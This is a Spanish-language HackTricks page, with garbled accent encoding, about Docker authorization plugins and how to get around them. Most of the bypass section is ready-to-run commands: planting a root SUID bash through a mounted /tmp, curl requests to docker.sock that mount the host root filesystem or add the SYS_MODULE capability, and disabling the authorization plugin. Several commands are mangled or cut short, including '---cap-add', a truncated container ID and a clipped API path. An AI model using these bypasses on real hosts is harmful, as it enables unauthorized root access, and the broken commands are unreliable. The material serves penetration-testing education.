tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
El modelo de autorizaci贸n de Docker es todo o nada. Cualquier usuario con permiso para acceder al daemon de Docker puede ejecutar cualquier comando del cliente de Docker. Lo mismo es cierto para los llamadores que utilizan la API del Engine de Docker para contactar al daemon. Si necesitas un mayor control de acceso, puedes crear plugins de autorizaci贸n y agregarlos a la configuraci贸n de tu daemon de Docker. Usando un plugin de autorizaci贸n, un administrador de Docker puede configurar pol铆ticas de acceso granulares para gestionar el acceso al daemon de Docker.
Arquitectura b谩sica
Los plugins de autenticaci贸n de Docker son plugins externos que puedes usar para permitir/negar acciones solicitadas al daemon de Docker dependiendo del usuario que lo solicit贸 y de la acci贸n solicitada.
La siguiente informaci贸n es de la documentaci贸n
Cuando se realiza una solicitud HTTP al daemon de Docker a trav茅s de la CLI o mediante la API del Engine, el subsystema de autenticaci贸n pasa la solicitud a los plugins de autenticaci贸n instalados. La solicitud contiene el usuario (llamador) y el contexto del comando. El plugin es responsable de decidir si permitir o negar la solicitud.
Los diagramas de secuencia a continuaci贸n representan un flujo de autorizaci贸n de permitir y negar:
Cada solicitud enviada al plugin incluye el usuario autenticado, los encabezados HTTP y el cuerpo de la solicitud/respuesta. Solo se pasan al plugin el nombre de usuario y el m茅todo de autenticaci贸n utilizado. Lo m谩s importante, no se pasan credenciales o tokens de usuario. Finalmente, no todos los cuerpos de solicitud/respuesta se env铆an al plugin de autorizaci贸n. Solo se env铆an aquellos cuerpos de solicitud/respuesta donde el Content-Type
es text/*
o application/json
.
Para comandos que pueden potencialmente secuestrar la conexi贸n HTTP (HTTP Upgrade
), como exec
, el plugin de autorizaci贸n solo se llama para las solicitudes HTTP iniciales. Una vez que el plugin aprueba el comando, la autorizaci贸n no se aplica al resto del flujo. Espec铆ficamente, los datos de transmisi贸n no se pasan a los plugins de autorizaci贸n. Para comandos que devuelven respuestas HTTP en fragmentos, como logs
y events
, solo se env铆a la solicitud HTTP a los plugins de autorizaci贸n.
Durante el procesamiento de solicitudes/respuestas, algunos flujos de autorizaci贸n pueden necesitar realizar consultas adicionales al daemon de Docker. Para completar tales flujos, los plugins pueden llamar a la API del daemon de manera similar a un usuario regular. Para habilitar estas consultas adicionales, el plugin debe proporcionar los medios para que un administrador configure pol铆ticas adecuadas de autenticaci贸n y seguridad.
Varios Plugins
Eres responsable de registrar tu plugin como parte del inicio del daemon de Docker. Puedes instalar m煤ltiples plugins y encadenarlos. Esta cadena puede ser ordenada. Cada solicitud al daemon pasa en orden a trav茅s de la cadena. Solo cuando todos los plugins otorgan acceso al recurso, se concede el acceso.
Ejemplos de Plugins
Twistlock AuthZ Broker
El plugin authz te permite crear un archivo JSON simple que el plugin estar谩 leyendo para autorizar las solicitudes. Por lo tanto, te da la oportunidad de controlar muy f谩cilmente qu茅 puntos finales de API pueden alcanzar a cada usuario.
Este es un ejemplo que permitir谩 a Alice y Bob crear nuevos contenedores: {"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}
En la p谩gina route_parser.go puedes encontrar la relaci贸n entre la URL solicitada y la acci贸n. En la p谩gina types.go puedes encontrar la relaci贸n entre el nombre de la acci贸n y la acci贸n.
Tutorial de Plugin Simple
Puedes encontrar un plugin f谩cil de entender con informaci贸n detallada sobre instalaci贸n y depuraci贸n aqu铆: https://github.com/carlospolop-forks/authobot
Lee el README
y el c贸digo de plugin.go
para entender c贸mo funciona.
Bypass del Plugin de Autenticaci贸n de Docker
Enumerar acceso
Las principales cosas a verificar son qu茅 puntos finales est谩n permitidos y qu茅 valores de HostConfig est谩n permitidos.
Para realizar esta enumeraci贸n puedes usar la herramienta https://github.com/carlospolop/docker_auth_profiler.
run --privileged
no permitido
Privilegios M铆nimos
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash
Ejecutando un contenedor y luego obteniendo una sesi贸n privilegiada
En este caso, el sysadmin no permiti贸 a los usuarios montar vol煤menes y ejecutar contenedores con la bandera --privileged
o dar cualquier capacidad extra al contenedor:
docker run -d --privileged modified-ubuntu
docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed.
See 'docker run --help'.
Sin embargo, un usuario puede crear un shell dentro del contenedor en ejecuci贸n y otorgarle los privilegios adicionales:
docker run -d --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu
#bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de
# Now you can run a shell with --privileged
docker exec -it privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash
# With --cap-add=ALL
docker exec -it ---cap-add=ALL bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
# With --cap-add=SYS_ADMIN
docker exec -it ---cap-add=SYS_ADMIN bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4 bash
Ahora, el usuario puede escapar del contenedor utilizando cualquiera de las t茅cnicas discutidas anteriormente y escalar privilegios dentro del host.
Montar Carpeta Escribible
En este caso, el sysadmin no permiti贸 a los usuarios ejecutar contenedores con la bandera --privileged
ni otorgar ninguna capacidad extra al contenedor, y solo permiti贸 montar la carpeta /tmp
:
host> cp /bin/bash /tmp #Cerate a copy of bash
host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell
docker container> chown root:root /host/bash
docker container> chmod u+s /host/bash
host> /tmp/bash
-p #This will give you a shell as root
note
Tenga en cuenta que tal vez no pueda montar la carpeta /tmp
, pero puede montar una carpeta diferente y escribible. Puede encontrar directorios escribibles usando: find / -writable -type d 2>/dev/null
隆Tenga en cuenta que no todos los directorios en una m谩quina linux admitir谩n el bit suid! Para verificar qu茅 directorios admiten el bit suid, ejecute mount | grep -v "nosuid"
Por ejemplo, generalmente /dev/shm
, /run
, /proc
, /sys/fs/cgroup
y /var/lib/lxcfs
no admiten el bit suid.
Tambi茅n tenga en cuenta que si puede montar /etc
o cualquier otra carpeta que contenga archivos de configuraci贸n, puede cambiarlos desde el contenedor de docker como root para abusar de ellos en el host y escalar privilegios (tal vez modificando /etc/shadow
)
Endpoint de API no verificado
La responsabilidad del sysadmin que configura este plugin ser铆a controlar qu茅 acciones y con qu茅 privilegios cada usuario puede realizar. Por lo tanto, si el administrador adopta un enfoque de lista negra con los endpoints y los atributos, podr铆a olvidar algunos de ellos que podr铆an permitir a un atacante escalar privilegios.
Puede consultar la API de docker en https://docs.docker.com/engine/api/v1.40/#
Estructura JSON no verificada
Montajes en root
Es posible que cuando el sysadmin configur贸 el firewall de docker, olvidara alg煤n par谩metro importante de la API como "Binds".
En el siguiente ejemplo, es posible abusar de esta mala configuraci贸n para crear y ejecutar un contenedor que monte la carpeta ra铆z (/) del host:
docker version #First, find the API version of docker, 1.40 in this example
docker images #List the images available
#Then, a container that mounts the root folder of the host
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "Binds":["/:/host"]}' http:/v1.40/containers/create
docker start f6932bc153ad #Start the created privileged container
docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it
#You can access the host filesystem
warning
Nota c贸mo en este ejemplo estamos usando el Binds
como una clave de nivel ra铆z en el JSON, pero en la API aparece bajo la clave HostConfig
Binds en HostConfig
Sigue la misma instrucci贸n que con Binds en ra铆z realizando esta request a la API de Docker:
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Binds":["/:/host"]}}' http:/v1.40/containers/create
Montajes en root
Siga las mismas instrucciones que con V铆nculos en root realizando esta solicitud a la API de Docker:
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}' http:/v1.40/containers/create
Montajes en HostConfig
Siga las mismas instrucciones que con V铆nculos en root realizando esta solicitud a la API de Docker:
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu-sleep", "HostConfig":{"Mounts": [{"Name": "fac36212380535", "Source": "/", "Destination": "/host", "Driver": "local", "Mode": "rw,Z", "RW": true, "Propagation": "", "Type": "bind", "Target": "/host"}]}}' http:/v1.40/containers/cre
Atributo JSON No Verificado
Es posible que cuando el sysadmin configur贸 el firewall de docker se olvid贸 de alg煤n atributo importante de un par谩metro de la API como "Capabilities" dentro de "HostConfig". En el siguiente ejemplo es posible abusar de esta mala configuraci贸n para crear y ejecutar un contenedor con la capacidad SYS_MODULE:
docker version
curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create
docker start c52a77629a9112450f3dedd1ad94ded17db61244c4249bdfbd6bb3d581f470fa
docker ps
docker exec -it c52a77629a91 bash
capsh --print
#You can abuse the SYS_MODULE capability
note
El HostConfig
es la clave que generalmente contiene los privilegios interesantes para escapar del contenedor. Sin embargo, como hemos discutido anteriormente, ten en cuenta que usar Binds fuera de 茅l tambi茅n funciona y puede permitirte eludir restricciones.
Deshabilitando el Plugin
Si el sysadmin olvid贸 prohibir la capacidad de deshabilitar el plugin, 隆puedes aprovechar esto para deshabilitarlo completamente!
docker plugin list #Enumerate plugins
# If you don鈥檛 have access to enumerate the plugins you can see the name of the plugin in the error output:
docker: Error response from daemon: authorization denied by plugin authobot:latest: use of Privileged containers is not allowed.
# "authbolt" is the name of the previous plugin
docker plugin disable authobot
docker run --rm -it --privileged -v /:/host ubuntu bash
docker plugin enable authobot
Recuerda volver a habilitar el plugin despu茅s de escalar, o un reinicio del servicio de docker no funcionar谩!
Informes de Bypass del Plugin de Autenticaci贸n
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 馃挰 Discord group or the telegram group or follow us on Twitter 馃惁 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.